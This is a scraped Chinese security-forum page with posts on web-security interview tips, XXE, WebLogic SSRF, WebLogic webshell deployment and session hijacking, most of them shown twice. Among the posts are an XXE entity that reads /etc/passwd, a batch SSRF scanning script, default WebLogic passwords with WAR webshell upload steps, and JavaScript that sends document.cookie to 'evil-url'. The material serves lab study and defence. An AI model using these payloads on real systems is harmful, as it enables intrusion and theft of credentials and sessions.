三、现场笔试题

笔试题一般在半个小时做完,除了考察你的基础知识,还是考你的态度,所有一定要认真做题,不要胡乱勾画。


四、其他

找工作除了自己实力,自己的性格积极开朗也很重要,不会别乱喷,谁都有自己的知识盲点,面试官可以理解。


最后:希望这些多少能对大家有点作用, 祝大家都能在就业过程中一帆风顺。 查看全部
大学生毕业季和实习季,Web安全安全常见面试题 (原创文章,转载请标明出处,谢谢)

Web安全涉及知识点太广了,总体上比较吃经验,用人单位看重有挖掘经验的,但是对基础知识的掌握也是很看重的,针对web安全行业,小编针对技术面试官简单总结了一下,希望能对大家有用。

一、最常见的经验问题

1、 准备好自己的简历,面试官绝大部分题目都是来自你的简历内容,应该对自己的简历好好准备,简历要突出代码能力和挖掘经验,这点是最吸引面试官的简历
2、 有自己的博客吗? 这里考察学习的内容,知识积累、学习方向和知识深度。因此建议大家有写博客的习惯。
3、 是否参加过众测项目?在其他知名平台是否发布过自己的文章?

二、技术点问题:

2.1 协议安全

1、DDOS的攻击原理、类型和防御
2、什么是DNS有什么样的安全问题?

2.2 数据库安全,中间件, 操作系统

1、msyql的安全问题有哪些?
2、中间件的解析漏洞?
3、操作系统的日志安全管理?

2.3 核心web安全漏洞

web漏洞种类比较多,这里不列举,举例如下:
  1. 企业web安全渗透测试流程
  2. 谈一下sql 注入漏洞
  3. 文件上传突破的方法
  4. xxs、csrf等漏洞
  5. 说一下你挖掘过的逻辑漏洞?


2.4 最近一年多发生的0day,或者安全事件

2.5 框架性的漏洞?


举例 stust
Struts2 ,心脏出血,等等


三、现场笔试题

笔试题一般在半个小时做完,除了考察你的基础知识,还是考你的态度,所有一定要认真做题,不要胡乱勾画。


四、其他

找工作除了自己实力,自己的性格积极开朗也很重要,不会别乱喷,谁都有自己的知识盲点,面试官可以理解。


最后:希望这些多少能对大家有点作用, 祝大家都能在就业过程中一帆风顺。

Ldap Injection 入门学习

回复

Web安全渗透ttgo2 发起了问题 • 2 人关注 • 0 个回复 • 367 次浏览 • 2018-08-16 11:40 • 来自相关话题

XXE漏洞初识

Web安全渗透ttgo2 发表了文章 • 3 个评论 • 565 次浏览 • 2018-08-09 15:30 • 来自相关话题

一、 什么是XXE漏洞?

  XXE (XML External Entity injection)XML 外部实体注入漏洞,如果XML 文件在引用外部实体时候,可以沟通构造恶意内容,可以导致读取任意文件,命令执行和对内网的攻击,这就是XXE漏洞,这个漏洞需要大家还有一定的XML协议基础,因此为了更好的去理解漏洞本身原理,必须给大家普及一下XML相关的知识点。
 
二、 XML的基础知识点

需要大家安安静静好好看一下XML基础,这里给大家 提供一个学习参考地址:(https://www.w3cschool.cn/xml/xml-intro.html),   为了让大家快速理解上手,我梳理了一下,提取了关键思路点如下:

 2.1、什么是XML?
 
XML是可扩展的标记语言(eXtensible Markup Language),设计用来进行数据的传输和存储, 结构是树形结构,有标签构成,这点很想HTML语言。但是XML和HTML有明显区别如下:
XML 被设计用来传输和存储数据。
HTML 被设计用来显示数据。
 
 2.2、XML结构?
 
来看一个简单的XML 文件结构, 第一行XML的声明,第二<note> 为根元素, 下面的to, from,heading和body 都是子元素,构成了一个出色的自我描述性的结构
 
<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
 
2.3 XML DTD (重点)
 
DTD全称为,Document Type Definition,中文翻译为文档类型定义,是一套为了进行程序间的数据交换而建立的关于标记符的语法规则。
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。
DTD 有两种声明的方法,一种是内部声明,一种是外部声明,我们下面开具体看一下:
 
DTD 的内部声明:

外部需要一个DTD的文件,比如:note.dtc
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>

<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
 
DTD的外部声明:
 
<?xml version="1.0" encoding="UTF-8"?>
 
<!DOCTYPE ANY [
<!ENTITY content SYSTEM "filename">
]>
 <note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
 
三、XXE漏洞的成因和危害?
 
3.1 漏洞成因
 
XML数据在传输中数据被修改,服务器执行被恶意插入的代码,最终实现攻击的目的,XXE漏洞就是在XML在外部声明的时候出现了问题。看一下修改后的代码:
 
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY content SYSTEM "file:///etc/passwd&amp;quot; # 直接读取系统的文件
]>
<note>
<name>&content;</name>
</note>

3.2 漏洞危害
[]读取系统文件[/][]执行系统命令[/][]探测内网端口[/][]攻击内部网络[/] 四、 XXE漏洞利用过程 4.1 环境介绍[]OS: Centos 6.5 Linux[/][]中间件:apache[/][]xml的靶场测试环境:https://github.com/vulnspy/phpaudit-XXE[/][]PHP:PHP Version 5.3.3 ,php要求的libxml2.8以下,截图如下:[/] 


 4.2 读取系统文件 step1:为浏览器配置好burpsuit的代理(具体配置不在讲述)step2:打开靶场测试的index.php


step3: 选择“SimpleXMLElement.php”测试,点击"submit"


 step4: 通过burpsuit 截获数据,数据已经URL编码,解码一下,解码网址:zone.secevery.com/code 





 step5:把数据放到repeater 模块step6:提交数据到服务器,读取了/etc/passwd 文件内容


 五、 加固建议[]禁止使用DTD的外部声明[/][]对用户提交过来的XML数据进行过滤[/]
 
备: 本人也在学习中,如果有不准确的地方,希望大牛能多多指正,也希望大家分享的XXE漏洞更多的攻击手法。 查看全部
一、 什么是XXE漏洞?

  XXE (XML External Entity injection)XML 外部实体注入漏洞,如果XML 文件在引用外部实体时候,可以沟通构造恶意内容,可以导致读取任意文件,命令执行和对内网的攻击,这就是XXE漏洞,这个漏洞需要大家还有一定的XML协议基础,因此为了更好的去理解漏洞本身原理,必须给大家普及一下XML相关的知识点。
 
二、 XML的基础知识点

需要大家安安静静好好看一下XML基础,这里给大家 提供一个学习参考地址:(https://www.w3cschool.cn/xml/xml-intro.html),   为了让大家快速理解上手,我梳理了一下,提取了关键思路点如下:

 2.1、什么是XML?
 
XML是可扩展的标记语言(eXtensible Markup Language),设计用来进行数据的传输和存储, 结构是树形结构,有标签构成,这点很想HTML语言。但是XML和HTML有明显区别如下:
XML 被设计用来传输和存储数据。
HTML 被设计用来显示数据。
 
 2.2、XML结构?
 
来看一个简单的XML 文件结构, 第一行XML的声明,第二<note> 为根元素, 下面的to, from,heading和body 都是子元素,构成了一个出色的自我描述性的结构
 
<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
 
2.3 XML DTD (重点)
 
DTD全称为,Document Type Definition,中文翻译为文档类型定义,是一套为了进行程序间的数据交换而建立的关于标记符的语法规则。
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。
DTD 有两种声明的方法,一种是内部声明,一种是外部声明,我们下面开具体看一下:
 
DTD 的内部声明:

外部需要一个DTD的文件,比如:note.dtc
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>


<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
 
DTD的外部声明:
 
<?xml version="1.0" encoding="UTF-8"?>
 
<!DOCTYPE ANY [
<!ENTITY content SYSTEM "filename">
]>
 <note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
 
三、XXE漏洞的成因和危害?
 
3.1 漏洞成因
 
XML数据在传输中数据被修改,服务器执行被恶意插入的代码,最终实现攻击的目的,XXE漏洞就是在XML在外部声明的时候出现了问题。看一下修改后的代码:
 
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY content SYSTEM "file:///etc/passwd&amp;quot; # 直接读取系统的文件
]>
<note>
<name>&content;</name>
</note>

3.2 漏洞危害
    []读取系统文件[/][]执行系统命令[/][]探测内网端口[/][]攻击内部网络[/]
 四、 XXE漏洞利用过程 4.1 环境介绍
    []OS: Centos 6.5 Linux[/][]中间件:apache[/][]xml的靶场测试环境:https://github.com/vulnspy/phpaudit-XXE[/][]PHP:PHP Version 5.3.3 ,php要求的libxml2.8以下,截图如下:[/]
 
libxml.png
 4.2 读取系统文件 step1:为浏览器配置好burpsuit的代理(具体配置不在讲述)step2:打开靶场测试的index.php
QQ截图20180809151254.png
step3: 选择“SimpleXMLElement.php”测试,点击"submit"
QQ截图20180809151535.png
 step4: 通过burpsuit 截获数据,数据已经URL编码,解码一下,解码网址:zone.secevery.com/code 
QQ截图20180809151914.png
QQ截图20180809152144.png
 step5:把数据放到repeater 模块step6:提交数据到服务器,读取了/etc/passwd 文件内容
QQ截图20180809152412.png
 五、 加固建议
    []禁止使用DTD的外部声明[/][]对用户提交过来的XML数据进行过滤[/]

 
备: 本人也在学习中,如果有不准确的地方,希望大牛能多多指正,也希望大家分享的XXE漏洞更多的攻击手法。

weblogic漏洞系列-SSRF漏洞

zksmile 发表了文章 • 0 个评论 • 333 次浏览 • 2018-08-09 15:26 • 来自相关话题

0x01前言:
SSRF漏洞的原理这里就不在细说了,这里主要讲解weblogic中SSRF漏洞的检测办法,以及利用手段。
 
0x02检测漏洞:
 
2.1、直接访问:http://ip:7001/uddiexplorer/ ,SSRF漏洞存在于:http://ip:7001/uddiexplorer/SearchPublicRegistries.jsp





2.2、向服务器提交以下参数?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001





关键点是operator这个参数,访问7001端口时返回一个404的状态码。
 
2.3、访问一个不存在的端口会返回以下信息。






可以通过返回的信息不同,来判断端口开放的状态。
 
2.4、实战挖掘的过程中总共遇到过以下几种状态(referer:http://zone.secevery.com/question/121):
状态一、






状态二、






状态三、






状态四、






状态五、





 
2.5批量检测脚本:#!/usr/bin/env python
# -[i]- coding: utf-8 -[/i]-

import re
import sys
import Queue
import requests
import threading

from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

queue = Queue.Queue()
mutex = threading.Lock()


class Test(threading.Thread):
"""docstring for Test"""
def __init__(self, queue):
threading.Thread.__init__(self)
self.queue = queue

def check(self,domain,ip):
payload = "uddiexplorer/SearchPublicRegistries.jsp?operator={ip}&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search".format(ip=ip)
url = domain + payload

try:
html = requests.get(url=url, timeout=15, verify=False).content

m = re.search('weblogic.uddi.client.structures.exception.XML_SoapException',html)
if m:
mutex.acquire()
with open('ssrf1.txt','a+') as f:
print "%s has weblogic ssrf." % domain
f.write("%s has weblogic ssrf." % domain)
mutex.release()
except Exception,e:
print e

def get_registry(self,domain):
payload = 'uddiexplorer/SetupUDDIExplorer.jsp'
url = domain + payload

try:
html = requests.get(url=url, timeout=15, verify=False).content
m = re.search('<i>For example: (.[i]?)/uddi/uddilistener.[/i]?</i>',html)
if m:
return m.group(1)
except Exception,e:
print e


def run(self):
while not self.queue.empty():
domain = self.queue.get()
mutex.acquire()
print domain
mutex.release()
ip = self.get_registry(domain)
self.check(domain,ip)

self.queue.task_done()


if __name__ == '__main__':
with open('domain.txt','r') as f:
lines = f.readlines()
for line in lines:
queue.put(line.strip())

for x in xrange(1,50):
t = Test(queue)
t.setDaemon(True)
t.start()
queue.join() 





0x03、利用手段
 
3.1内网端口探测
我们可以根据返回的不同状态信息,来判断内网的IP是否存在以及对应端口是否开放。这里有一个地方需要注意的是,需要知道目标内网网段。如果盲目的去进行网段扫描会耗费大量的时间。
 
实战挖掘中发现这个位置有可能会泄露内网网段。
 





确定网段之后可以使用脚本来进行快速探测。
 
SSRF不仅仅只是为了探测端口,更强大之处是在于探测到一些信息之后从而进一步的利用.
 
更多的利用手段可以参考以下文章:
https://blog.chaitin.cn/gopher-attack-surfaces/
 
0x04、Referer:
https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf
http://wyb0.com/posts/weblogic-ssrf-check/
 
 
 
 
 
  查看全部
0x01前言:
SSRF漏洞的原理这里就不在细说了,这里主要讲解weblogic中SSRF漏洞的检测办法,以及利用手段。
 
0x02检测漏洞:
 
2.1、直接访问:http://ip:7001/uddiexplorer/ ,SSRF漏洞存在于:
http://ip:7001/uddiexplorer/SearchPublicRegistries.jsp

1.png


2.2、向服务器提交以下参数
?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001

2.png


关键点是operator这个参数,访问7001端口时返回一个404的状态码。
 
2.3、访问一个不存在的端口会返回以下信息。

3.png


可以通过返回的信息不同,来判断端口开放的状态。
 
2.4、实战挖掘的过程中总共遇到过以下几种状态(referer:http://zone.secevery.com/question/121):
状态一、

2.1_.png


状态二、

2.2_.png


状态三、

2.3_.png


状态四、

2.4_.png


状态五、

2.5_.png

 
2.5批量检测脚本:
#!/usr/bin/env python  
# -[i]- coding: utf-8 -[/i]-

import re
import sys
import Queue
import requests
import threading

from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

queue = Queue.Queue()
mutex = threading.Lock()


class Test(threading.Thread):
"""docstring for Test"""
def __init__(self, queue):
threading.Thread.__init__(self)
self.queue = queue

def check(self,domain,ip):
payload = "uddiexplorer/SearchPublicRegistries.jsp?operator={ip}&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search".format(ip=ip)
url = domain + payload

try:
html = requests.get(url=url, timeout=15, verify=False).content

m = re.search('weblogic.uddi.client.structures.exception.XML_SoapException',html)
if m:
mutex.acquire()
with open('ssrf1.txt','a+') as f:
print "%s has weblogic ssrf." % domain
f.write("%s has weblogic ssrf." % domain)
mutex.release()
except Exception,e:
print e

def get_registry(self,domain):
payload = 'uddiexplorer/SetupUDDIExplorer.jsp'
url = domain + payload

try:
html = requests.get(url=url, timeout=15, verify=False).content
m = re.search('<i>For example: (.[i]?)/uddi/uddilistener.[/i]?</i>',html)
if m:
return m.group(1)
except Exception,e:
print e


def run(self):
while not self.queue.empty():
domain = self.queue.get()
mutex.acquire()
print domain
mutex.release()
ip = self.get_registry(domain)
self.check(domain,ip)

self.queue.task_done()


if __name__ == '__main__':
with open('domain.txt','r') as f:
lines = f.readlines()
for line in lines:
queue.put(line.strip())

for x in xrange(1,50):
t = Test(queue)
t.setDaemon(True)
t.start()
queue.join()
 
4.png


0x03、利用手段
 
3.1内网端口探测
我们可以根据返回的不同状态信息,来判断内网的IP是否存在以及对应端口是否开放。这里有一个地方需要注意的是,需要知道目标内网网段。如果盲目的去进行网段扫描会耗费大量的时间。
 
实战挖掘中发现这个位置有可能会泄露内网网段。
 
5.png


确定网段之后可以使用脚本来进行快速探测。
 
SSRF不仅仅只是为了探测端口,更强大之处是在于探测到一些信息之后从而进一步的利用.
 
更多的利用手段可以参考以下文章:
https://blog.chaitin.cn/gopher-attack-surfaces/
 
0x04、Referer:
https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf
http://wyb0.com/posts/weblogic-ssrf-check/
 
 
 
 
 
 

weblogic漏洞系列-后台上传文件getshell

zksmile 发表了文章 • 2 个评论 • 539 次浏览 • 2018-08-08 11:09 • 来自相关话题

往后每周会坚持做漏洞复现,环境采取P神的vulhub。https://github.com/vulhub 感谢P神提供这么简便的测试环境。
 
测试环境:
WebLogic Server 版本: 10.3.6.0 (11g)
jdk版本:1.6
 
 
测试步骤:
1、通过弱口令进后台,本测试环境弱口令为:

[]weblogic[/][]Oracle@123[/]weblogic 常用弱口令可以参考:https://cirt.net/passwords?criteria=weblogic 2、weblogic后台访问地址为:http://ip:7001/console/login/LoginForm.jsp (默认端口是7001,要根据实际开放端口进行访问) 


3、输入账号名、密码登录之后进入后台管理界面-【部署】-【安装】 


4、在安装页面点击上载文件。


5、war包制作方法:[list=1][]    准备一个大马文件:xxx.jsp[/][]    将其压缩为 test.zip[/][]    然后重命名为 test.war[/]
     test即为部署成功大马存放的目录。​
6、然后选择制作好的 war包,点击下一步。




7、一直下一步,这里注意点击的是上边的下一步,不要点错了。



 
8、然后点击完成-保存。















9、访问大马文件
 










 
  查看全部
往后每周会坚持做漏洞复现,环境采取P神的vulhub。https://github.com/vulhub 感谢P神提供这么简便的测试环境。
 
测试环境:
WebLogic Server 版本: 10.3.6.0 (11g)
jdk版本:1.6
 
 
测试步骤:
1、通过弱口令进后台,本测试环境弱口令为:


    []weblogic[/][]Oracle@123[/]
weblogic 常用弱口令可以参考:https://cirt.net/passwords?criteria=weblogic

 2、weblogic后台访问地址为:http://ip:7001/console/login/LoginForm.jsp (默认端口是7001,要根据实际开放端口进行访问) 
1.png
3、输入账号名、密码登录之后进入后台管理界面-【部署】-【安装】 
2.png
4、在安装页面点击上载文件。
4.png
5、war包制作方法:[list=1][]    准备一个大马文件:xxx.jsp[/][]    将其压缩为 test.zip[/][]    然后重命名为 test.war[/]
     test即为部署成功大马存放的目录。​
6、然后选择制作好的 war包,点击下一步。
5.png

7、一直下一步,这里注意点击的是上边的下一步,不要点错了。
7.png
 
8、然后点击完成-保存。
8.1_.png


8.2_.png


8.3_.png


9、访问大马文件
 
9.1_.png


9.2_.png


 
 

Session攻击手段(会话劫持/固定)及其安全防御措施

Web安全渗透kakaxi 发表了文章 • 0 个评论 • 186 次浏览 • 2018-08-07 18:49 • 来自相关话题

一、概述
       对于Web应用程序来说,加强安全性的第一条原则就是——不要信任来自客户端的数据,一定要进行数据验证以及过滤才能在程序中使用,进而保存到数据层。然而,由于Http的无状态性,为了维持来自同一个用户的不同请求之间的状态,客户端必须发送一个唯一的身份标识符(Session ID)来表明自己的身份。很显然,这与前面提到的安全原则是相违背的,但是没有办法,为了维持状态,我们别无选择,这也导致了Session在web应用程序中是十分脆弱的一个环节。
       由于PHP内置的Session管理机制并没有提供安全处理,所以,开发人员需要建立相应的安全机制来防范会话攻击。针对Session的攻击手段主要有会话劫持(Session hijacking)和会话固定(Session fixation)两种。
 
二、会话劫持(Session hijacking)
       会话劫持(Session hijacking),这是一种通过获取用户Session ID后,使用该Session ID登录目标账号的攻击方法,此时攻击者实际上是使用了目标账户的有效Session。会话劫持的第一步是取得一个合法的会话标识来伪装成合法用户,因此需要保证会话标识不被泄漏。
       攻击步骤:
       1、 目标用户需要先登录站点;
       2、 登录成功后,该用户会得到站点提供的一个会话标识SessionID;
       3、 攻击者通过某种攻击手段捕获Session ID;
       4、 攻击者通过捕获到的Session ID访问站点即可获得目标用户合法会话。
 





 
       攻击者获取SessionID的方式有多种:
       1、 暴力破解:尝试各种Session ID,直到破解为止;
       2、 预测:如果Session ID使用非随机的方式产生,那么就有可能计算出来;
       3、 窃取:使用网络嗅探,XSS攻击等方法获得。
       PHP内部Session的实现机制虽然不是很安全,但是关于生成Session ID的环节还是比较安全的,这个随机的Session ID往往是极其复杂的并且难于被预测出来,所以,对于第一、第二种攻击方式基本上是不太可能成功的。
       在第三种攻击方式中,针对网络嗅探攻击,是通过捕获网络通信数据得到Session ID的,这种攻击可以通过SSL避免。本文主要分析的是应用层面的攻击方式及其防御方法。
       目前有三种广泛使用的在Web环境中维护会话(传递Session ID)的方法:URL参数,隐藏域和Cookie。其中每一种都各有利弊,Cookie已经被证明是三种方法中最方便最安全的。从安全的观点,如果不是全部也是绝大多数针对基于Cookie的会话管理机制的攻击对于URL或是隐藏域机制同样适用,但是反过来却不一定,这就让Cookie成为从安全考虑的最佳选择。
       使用Cookie而产生的一个风险是用户的Cookie会被攻击者所盗窃。如果Session ID保存在Cookie中,Cookie的暴露就是一个严重的风险,因为它能导致会话劫持。
       最基本的Cookie窃取方式:XSS漏洞。
       一旦站点中存在可利用的XSS漏洞,攻击者可直接利用注入的JS脚本获取Cookie,进而通过异步请求把存有Session ID的Cookie上报给攻击者。
       var img = document.createElement('img');
       img.src = 'http://evil-url?c=' +encodeURIComponent(document.cookie);
       document.getElementsByTagName('body')[0].appendChild(img);
       如何寻找XSS漏洞是另外一个话题了,这里不详细讨论。防御上可以设置Cookie的HttpOnly属性,一旦一个Cookie被设置为HttpOnly,JS脚本就无法再获取到,而网络传输时依然会带上,也就是说依然可以依靠这个Cookie进行Session维持,但客户端JS对其不可见。那么即使存在XSS漏洞也无法简单的利用其进行Session劫持攻击了。但是上面说的是无法利用XSS进行简单的攻击,但是也不是没有办法的。既然无法使用document.cookie获取到,可以转而通过其他的方式。下面介绍一种XSS结合其他漏洞的攻击方式。
       利用PHP开发的应用会有一个phpinfo页面。而这个页面会dump出请求信息,其中就包括Cookie信息。
       如果开发者没有关闭这个页面,就可以利用XSS漏洞向这个页面发起异步请求,获取到页面内容后Parse出Cookie信息,然后上传给攻击者。phpinfo只是大家最常见的一种dump请求的页面,但不仅限于此,为了调试方便,任何dump请求的页面都是可以被利用的漏洞。防御上是关闭所有phpinfo类dump request信息的页面。
 
       防御方法:
       1、 更改Session名称。PHP中Session的默认名称是PHPSESSID,此变量会保存在Cookie中,如果攻击者不分析站点,就不能猜到Session名称,阻挡部分攻击。
       2、 关闭透明化Session ID。透明化Session ID指当浏览器中的Http请求没有使用Cookie来存放Session ID时,Session ID则使用URL来传递。
       3、 设置HttpOnly。通过设置Cookie的HttpOnly为true,可以防止客户端脚本访问这个Cookie,从而有效的防止XSS攻击。
       4、 关闭所有phpinfo类dump request信息的页面。
       5、 使用User-Agent检测请求的一致性。但有专家警告不要依赖于检查User-Agent的一致性。这是因为服务器群集中的HTTP代理服务器会对User-Agent进行编辑,而本群集中的多个代理服务器在编辑该值时可能会不一致。





        6、 加入Token校验。同样是用于检测请求的一致性,给攻击者制造一些麻烦,使攻击者即使获取了Session ID,也无法进行破坏,能够减少对系统造成的损失。但Token需要存放在客户端,如果攻击者有办法获取到Session ID,那么也同样可以获取到Token。





 
 
 
三、会话固定(Sessionfixation)
       会话固定(Session fixation)是一种诱骗受害者使用攻击者指定的会话标识(SessionID)的攻击手段。这是攻击者获取合法会话标识的最简单的方法。会话固定也可以看成是会话劫持的一种类型,原因是会话固定的攻击的主要目的同样是获得目标用户的合法会话,不过会话固定还可以是强迫受害者使用攻击者设定的一个有效会话,以此来获得用户的敏感信息。
       攻击步骤:
       1、 攻击者通过某种手段重置目标用户的SessionID,然后监听用户会话状态;
       2、 目标用户携带攻击者设定的Session ID登录站点;
       3、 攻击者通过Session ID获得合法会话。





 
 
      攻击者重置SessionID的方式:
      重置Session ID的方法同样也有多种,可以是跨站脚本攻击,如果是URL传递Session ID,还可以通过诱导的方式重置该参数,比如可以通过邮件的方式诱导用户去点击重置Session ID的URL,使用Cookie传递可以避免这种攻击。
       使用Cookie来存放Session ID,攻击者可以在以下三种可用的方法中选择一种来重置Session ID。
       1、 使用客户端脚本来设置Cookie到浏览器。大多数浏览器都支持用客户端脚本来设置Cookie的,例如document.cookie=”sessionid=123”,这种方式可以采用跨站脚本攻击来达到目的。防御方式可以是设置HttpOnly属性,但有少数低版本浏览器存在漏洞,即使设置了HttpOnly,也可以重写Cookie。所以还需要加其他方式的校验,如User-Agent验证,Token校验等同样有效。
       2、 使用HTML的<META>标签加Set-Cookie属性。服务器可以靠在返回的HTML文档中增加<META>标签来设置Cookie。例如<meta http-equiv=Set-Cookiecontent=”sessionid=123”>,与客户端脚本相比,对<META>标签的处理目前还不能被浏览器禁止。
       3、 使用Set-Cookie的HTTP响应头部设置Cookie。攻击者可以使用一些方法在Web服务器的响应中加入Set-Cookie的HTTP响应头部。如会话收养,闯入目标服务器所在域的任一主机,或者是攻击用户的DNS服务器。
       这里还有一点需要注意,攻击者如果持有的是有效的SessionID,那么防御措施就一定得校验验证。如攻击者可以先到目标站点登录,获得有效的Session ID,然后再拿这个Session ID去重置目标用户的会话标识,那么这时候用户将会在不知情的情况下访问攻击者设定的合法会话(实际上登录的是攻击者的账号了)中,从而攻击者将有可能获取到目标用户的敏感信息。
       防御方法:
       1、 用户登录时生成新的Session ID。如果攻击者使用的会话标识符不是有效的,那么这种方式将会非常有效。如果不是有效的会话标识符,服务器将会要求用户重新登录。如果攻击者使用的是有效的Session ID,那么还可以通过校验的方式来避免攻击。
       2、 大部分防止会话劫持的方法对会话固定攻击同样有效。如设置HttpOnly,关闭透明化Session ID,User-Agent验证,Token校验等。
 
四、附加
       http://www.php.net/manual/zh/session.security.php
       PHP官方提供的关于会话安全的文档,主要介绍了session安全设置项的作用,并建议开发人员应该合理启用可接受的安全设置项来保证会话安全。
       http://www.nowamagic.net/librarys/veda/detail/2078
       http://www.nowamagic.net/librarys/veda/detail/2079       关于会话数据安全的两篇博文。
 
文章转载来源:https://blog.csdn.net/h_MXC/article/details/50542038 查看全部
一、概述
       对于Web应用程序来说,加强安全性的第一条原则就是——不要信任来自客户端的数据,一定要进行数据验证以及过滤才能在程序中使用,进而保存到数据层。然而,由于Http的无状态性,为了维持来自同一个用户的不同请求之间的状态,客户端必须发送一个唯一的身份标识符(Session ID)来表明自己的身份。很显然,这与前面提到的安全原则是相违背的,但是没有办法,为了维持状态,我们别无选择,这也导致了Session在web应用程序中是十分脆弱的一个环节。
       由于PHP内置的Session管理机制并没有提供安全处理,所以,开发人员需要建立相应的安全机制来防范会话攻击。针对Session的攻击手段主要有会话劫持(Session hijacking)和会话固定(Session fixation)两种。
 
二、会话劫持(Session hijacking)
       会话劫持(Session hijacking),这是一种通过获取用户Session ID后,使用该Session ID登录目标账号的攻击方法,此时攻击者实际上是使用了目标账户的有效Session。会话劫持的第一步是取得一个合法的会话标识来伪装成合法用户,因此需要保证会话标识不被泄漏。
       攻击步骤:
       1、 目标用户需要先登录站点;
       2、 登录成功后,该用户会得到站点提供的一个会话标识SessionID;
       3、 攻击者通过某种攻击手段捕获Session ID;
       4、 攻击者通过捕获到的Session ID访问站点即可获得目标用户合法会话。
 

20160119140812530.jpg

 
       攻击者获取SessionID的方式有多种:
       1、 暴力破解:尝试各种Session ID,直到破解为止;
       2、 预测:如果Session ID使用非随机的方式产生,那么就有可能计算出来;
       3、 窃取:使用网络嗅探,XSS攻击等方法获得。
       PHP内部Session的实现机制虽然不是很安全,但是关于生成Session ID的环节还是比较安全的,这个随机的Session ID往往是极其复杂的并且难于被预测出来,所以,对于第一、第二种攻击方式基本上是不太可能成功的。
       在第三种攻击方式中,针对网络嗅探攻击,是通过捕获网络通信数据得到Session ID的,这种攻击可以通过SSL避免。本文主要分析的是应用层面的攻击方式及其防御方法。
       目前有三种广泛使用的在Web环境中维护会话(传递Session ID)的方法:URL参数,隐藏域和Cookie。其中每一种都各有利弊,Cookie已经被证明是三种方法中最方便最安全的。从安全的观点,如果不是全部也是绝大多数针对基于Cookie的会话管理机制的攻击对于URL或是隐藏域机制同样适用,但是反过来却不一定,这就让Cookie成为从安全考虑的最佳选择。
       使用Cookie而产生的一个风险是用户的Cookie会被攻击者所盗窃。如果Session ID保存在Cookie中,Cookie的暴露就是一个严重的风险,因为它能导致会话劫持。
       最基本的Cookie窃取方式:XSS漏洞。
       一旦站点中存在可利用的XSS漏洞,攻击者可直接利用注入的JS脚本获取Cookie,进而通过异步请求把存有Session ID的Cookie上报给攻击者。
       var img = document.createElement('img');
       img.src = 'http://evil-url?c=' +encodeURIComponent(document.cookie);
       document.getElementsByTagName('body')[0].appendChild(img);
       如何寻找XSS漏洞是另外一个话题了,这里不详细讨论。防御上可以设置Cookie的HttpOnly属性,一旦一个Cookie被设置为HttpOnly,JS脚本就无法再获取到,而网络传输时依然会带上,也就是说依然可以依靠这个Cookie进行Session维持,但客户端JS对其不可见。那么即使存在XSS漏洞也无法简单的利用其进行Session劫持攻击了。但是上面说的是无法利用XSS进行简单的攻击,但是也不是没有办法的。既然无法使用document.cookie获取到,可以转而通过其他的方式。下面介绍一种XSS结合其他漏洞的攻击方式。
       利用PHP开发的应用会有一个phpinfo页面。而这个页面会dump出请求信息,其中就包括Cookie信息。
       如果开发者没有关闭这个页面,就可以利用XSS漏洞向这个页面发起异步请求,获取到页面内容后Parse出Cookie信息,然后上传给攻击者。phpinfo只是大家最常见的一种dump请求的页面,但不仅限于此,为了调试方便,任何dump请求的页面都是可以被利用的漏洞。防御上是关闭所有phpinfo类dump request信息的页面。
 
       防御方法:
       1、 更改Session名称。PHP中Session的默认名称是PHPSESSID,此变量会保存在Cookie中,如果攻击者不分析站点,就不能猜到Session名称,阻挡部分攻击。
       2、 关闭透明化Session ID。透明化Session ID指当浏览器中的Http请求没有使用Cookie来存放Session ID时,Session ID则使用URL来传递。
       3、 设置HttpOnly。通过设置Cookie的HttpOnly为true,可以防止客户端脚本访问这个Cookie,从而有效的防止XSS攻击。
       4、 关闭所有phpinfo类dump request信息的页面。
       5、 使用User-Agent检测请求的一致性。但有专家警告不要依赖于检查User-Agent的一致性。这是因为服务器群集中的HTTP代理服务器会对User-Agent进行编辑,而本群集中的多个代理服务器在编辑该值时可能会不一致。

20160119140538416.jpg

        6、 加入Token校验。同样是用于检测请求的一致性,给攻击者制造一些麻烦,使攻击者即使获取了Session ID,也无法进行破坏,能够减少对系统造成的损失。但Token需要存放在客户端,如果攻击者有办法获取到Session ID,那么也同样可以获取到Token。

20160119140707559.jpg

 
 
 
三、会话固定(Sessionfixation)
